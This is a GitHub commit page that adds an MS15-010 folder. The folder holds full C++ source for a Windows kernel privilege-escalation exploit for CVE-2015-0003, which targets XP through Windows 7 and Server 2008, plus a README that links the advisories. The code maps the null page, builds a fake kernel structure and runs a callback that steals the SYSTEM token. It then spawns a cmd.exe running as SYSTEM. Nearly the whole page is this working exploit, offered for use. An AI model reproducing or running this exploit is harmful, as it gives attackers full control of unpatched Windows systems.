Skip to content

Commit 50dc46d

Browse files
committed
MS15-010
1 parent 527a881 commit 50dc46d

File tree

3 files changed

+367
-0
lines changed

3 files changed

+367
-0
lines changed

MS15-010/37098.txt

+352
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,352 @@
1+
// ex.cpp
2+
/*
3+
Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP
4+
CVE-2015-0003
5+
March 2015 (Public Release: May 24, 2015)
6+
7+
Tested on:
8+
x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3
9+
x64: Win 2k8 SP1 | Win 2k8 R2 SP1
10+
11+
Author: Skylake - skylake <at> mail <dot> com
12+
*/
13+
14+
#include "ex.h"
15+
16+
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
17+
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
18+
_PsReferencePrimaryToken PsReferencePrimaryToken;
19+
DWORD Pid;
20+
ATOM atom;
21+
BOOL KrnlMode, bSpawned;
22+
23+
DWORD_PTR WINAPI pti()
24+
{
25+
#ifdef _M_X64
26+
LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );
27+
return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) );
28+
#else
29+
LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 );
30+
return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) );
31+
#endif
32+
}
33+
34+
BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize )
35+
{
36+
DWORD_PTR dwIndex, dwMask;
37+
38+
#ifdef _M_X64
39+
dwMask = ~0xf;
40+
#else
41+
dwMask = ~7;
42+
#endif
43+
//
44+
dwCurrentValue &= dwMask;
45+
46+
for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ )
47+
{
48+
if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue )
49+
{
50+
//
51+
pdwStructure[dwIndex] = dwNewValue;
52+
return TRUE;
53+
}
54+
}
55+
56+
return FALSE;
57+
}
58+
59+
BOOL WINAPI Init()
60+
{
61+
HMODULE hMod = NULL;
62+
PVOID Base = NULL;
63+
OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) };
64+
PSYSTEM_MODULE_INFORMATION pm = NULL;
65+
BOOL RetVal = FALSE;
66+
67+
__try {
68+
69+
if( !GetVersionEx( &ov ) ) __leave;
70+
71+
if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 )
72+
{
73+
atom = 0xc039;
74+
}
75+
76+
else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 )
77+
{
78+
atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a;
79+
}
80+
81+
if( !atom ) __leave;
82+
83+
_ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" );
84+
if( !ZwQuerySystemInformation ) __leave;
85+
86+
ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" );
87+
if( !ZwAllocateVirtualMemory ) __leave;
88+
89+
ULONG len;
90+
LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );
91+
if( !status ) __leave;
92+
93+
pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len );
94+
if( !pm ) __leave;
95+
status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len );
96+
if( status ) __leave;
97+
98+
CHAR szKrnl[MAX_PATH] = { 0 }, *t;
99+
100+
for( ULONG i = 0; i < pm->Count; ++i )
101+
{
102+
if( strstr( pm->Module[i].ImageName, "exe" ) )
103+
{
104+
t = strstr( pm->Module[i].ImageName, "nt" );
105+
if( t )
106+
{
107+
strcpy_s( szKrnl, _countof( szKrnl ) - 1, t );
108+
Base = pm->Module[i].Base;
109+
break;
110+
}
111+
}
112+
}
113+
114+
hMod = LoadLibraryA( szKrnl );
115+
116+
if( !hMod || !Base ) __leave;
117+
118+
PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" );
119+
if( !PsLookupProcessByProcessId ) __leave;
120+
121+
PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) );
122+
123+
PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" );
124+
125+
if( !PsReferencePrimaryToken ) __leave;
126+
127+
PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) );
128+
Pid = GetCurrentProcessId();
129+
RetVal = TRUE;
130+
}
131+
132+
__finally {
133+
if( pm ) LocalFree( pm );
134+
if( hMod ) FreeLibrary( hMod );
135+
}
136+
137+
return RetVal;
138+
}
139+
140+
LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
141+
{
142+
LPVOID pCurProcess = NULL;
143+
LPVOID pSystemInfo = NULL;
144+
PACCESS_TOKEN systemToken;
145+
PACCESS_TOKEN targetToken;
146+
147+
PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess );
148+
PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo );
149+
150+
targetToken = PsReferencePrimaryToken( pCurProcess );
151+
systemToken = PsReferencePrimaryToken( pSystemInfo );
152+
153+
//
154+
find_and_replace_member( ( PDWORD_PTR ) pCurProcess,
155+
( DWORD_PTR ) targetToken,
156+
( DWORD_PTR ) systemToken,
157+
0x200 );
158+
KrnlMode = TRUE;
159+
return 0;
160+
}
161+
162+
VOID WINAPI leave()
163+
{
164+
keybd_event( VK_ESCAPE, 0, 0, NULL );
165+
keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL );
166+
keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL );
167+
}
168+
169+
LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam )
170+
{
171+
if( bSpawned )
172+
{
173+
leave();
174+
ExitProcess( 0 );
175+
}
176+
177+
switch( message )
178+
{
179+
case WM_CREATE:
180+
SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL );
181+
FlashWindow( hWnd, TRUE );
182+
keybd_event( VK_LWIN, 0, 0, NULL );
183+
break;
184+
case WM_CLOSE:
185+
DestroyWindow( hWnd );
186+
break;
187+
case WM_DESTROY:
188+
PostQuitMessage( 0 );
189+
break;
190+
case WM_TIMER:
191+
KillTimer( hWnd, ID_TIMER );
192+
leave();
193+
DestroyWindow( hWnd );
194+
break;
195+
default:
196+
return DefWindowProc( hWnd, message, wParam, lParam );
197+
}
198+
return 0;
199+
}
200+
201+
int APIENTRY _tWinMain( _In_ HINSTANCE hInstance,
202+
_In_opt_ HINSTANCE hPrevInstance,
203+
_In_ LPTSTR lpCmdLine,
204+
_In_ int nCmdShow )
205+
{
206+
WNDCLASSEX wc = { sizeof( WNDCLASSEX ) };
207+
HWND hWnd = NULL;
208+
MSG Msg = { 0 };
209+
210+
SIZE_T size = 0x1000;
211+
LPVOID addr = ( LPVOID ) 1;
212+
213+
if( !Init() ) return 1;
214+
215+
if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) )
216+
{
217+
//
218+
return 1;
219+
}
220+
221+
DWORD_PTR p = pti();
222+
if( !p ) return 1;
223+
224+
#ifdef _M_X64
225+
*( ( PDWORD_PTR ) 0x10 ) = p;
226+
*( ( LPBYTE ) 0x2a ) = 4;
227+
*( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode;
228+
*( ( PDWORD_PTR ) 0xa8 ) = 0x400;
229+
*( ( LPDWORD ) 0x404 ) = 1;
230+
*( ( PDWORD_PTR ) 0x408 ) = 0x800;
231+
*( ( LPWORD ) 0x410 ) = atom;
232+
*( ( LPBYTE ) 0x412 ) = 1;
233+
#else
234+
*( ( LPDWORD ) 0x08 ) = p;
235+
*( ( LPBYTE ) 0x16 ) = 4;
236+
*( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode;
237+
*( ( LPDWORD ) 0x6c ) = 0x400;
238+
*( ( LPDWORD ) 0x404 ) = 1;
239+
*( ( LPDWORD ) 0x408 ) = 0x800;
240+
*( ( LPWORD ) 0x40c ) = atom;
241+
*( ( LPBYTE ) 0x40e ) = 1;
242+
#endif
243+
244+
wc.lpfnWndProc = WndProc;
245+
wc.hInstance = hInstance;
246+
wc.lpszClassName = TEXT( "Class" );
247+
248+
if( !RegisterClassEx( &wc ) )
249+
return 1;
250+
hWnd = CreateWindowEx(
251+
WS_EX_CLIENTEDGE,
252+
TEXT( "Class" ),
253+
TEXT( "Window" ),
254+
WS_OVERLAPPEDWINDOW,
255+
CW_USEDEFAULT, CW_USEDEFAULT, 200, 100,
256+
NULL, NULL, hInstance, NULL );
257+
if( !hWnd )
258+
return 1;
259+
ShowWindow( hWnd, SW_HIDE );
260+
UpdateWindow( hWnd );
261+
262+
while( GetMessage( &Msg, NULL, 0, 0 ) )
263+
{
264+
if ( Msg.message == WM_SYSTIMER ) // Borrowed from http://blog.beyondtrust.com/fuzzing-for-ms15-010
265+
{
266+
if( !KrnlMode )
267+
{
268+
Msg.hwnd = ( HWND ) NULL;
269+
}
270+
else
271+
{
272+
Msg.hwnd = hWnd;
273+
if( !bSpawned )
274+
{
275+
ShellExecute( NULL, TEXT( "open" ), TEXT( "cmd.exe" ), NULL, NULL, SW_SHOW );
276+
bSpawned = TRUE;
277+
}
278+
}
279+
}
280+
281+
TranslateMessage( &Msg );
282+
DispatchMessage( &Msg );
283+
}
284+
285+
return ( int ) Msg.wParam;
286+
}
287+
// EOF
288+
289+
290+
291+
292+
293+
294+
//ex.h
295+
296+
#pragma once
297+
298+
#include <windows.h>
299+
#include <stdio.h>
300+
#include <tchar.h>
301+
302+
typedef NTSTATUS ( WINAPI *_ZwAllocateVirtualMemory ) (
303+
_In_ HANDLE ProcessHandle,
304+
_Inout_ PVOID *BaseAddress,
305+
_In_ ULONG_PTR ZeroBits,
306+
_Inout_ PSIZE_T RegionSize,
307+
_In_ ULONG AllocationType,
308+
_In_ ULONG Protect
309+
);
310+
311+
typedef NTSTATUS ( WINAPI *_PsLookupProcessByProcessId ) (
312+
_In_ HANDLE ProcessId,
313+
_Out_ PVOID *Process
314+
);
315+
316+
typedef PACCESS_TOKEN ( WINAPI *_PsReferencePrimaryToken ) (
317+
_Inout_ PVOID Process
318+
);
319+
320+
typedef enum _SYSTEM_INFORMATION_CLASS {
321+
SystemBasicInformation = 0,
322+
SystemModuleInformation = 11
323+
} SYSTEM_INFORMATION_CLASS;
324+
325+
typedef NTSTATUS ( WINAPI *_ZwQuerySystemInformation ) (
326+
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
327+
_Inout_ PVOID SystemInformation,
328+
_In_ ULONG SystemInformationLength,
329+
_Out_opt_ PULONG ReturnLength
330+
);
331+
332+
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
333+
HANDLE Section;
334+
PVOID MappedBase;
335+
PVOID Base;
336+
ULONG Size;
337+
ULONG Flags;
338+
USHORT LoadOrderIndex;
339+
USHORT InitOrderIndex;
340+
USHORT LoadCount;
341+
USHORT PathLength;
342+
CHAR ImageName[256];
343+
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
344+
345+
typedef struct _SYSTEM_MODULE_INFORMATION {
346+
ULONG Count;
347+
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
348+
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
349+
350+
#define ID_TIMER 0x1
351+
#define WM_SYSTIMER 0x118
352+
// EOF

MS15-010/CVE-2015-0057.zip

13.5 KB
Binary file not shown.

MS15-010/README.md

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# MS15-010
2+
3+
- The POC was from [@Offensive Security](https://github.com/offensive-security/exploit-database-bin-sploits/tree/master/sploits)
4+
5+
6+
Vulnerability reference:
7+
* [MS15-010](https://technet.microsoft.com/en-us/library/security/ms15-010.aspx)
8+
* [CVE-2015-0003](https://www.exploit-db.com/exploits/37098/)
9+
10+
11+
### Links
12+
13+
* [Dyre Banking Trojan Exploits CVE-2015-0057](https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html)
14+
* [Windows 8 Heap Internals](http://illmatics.com/Windows%208%20Heap%20Internals.pdf)
15+
* [Kernel Attacks through User-Mode Callbacks](https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf)

0 commit comments

Comments
 (0)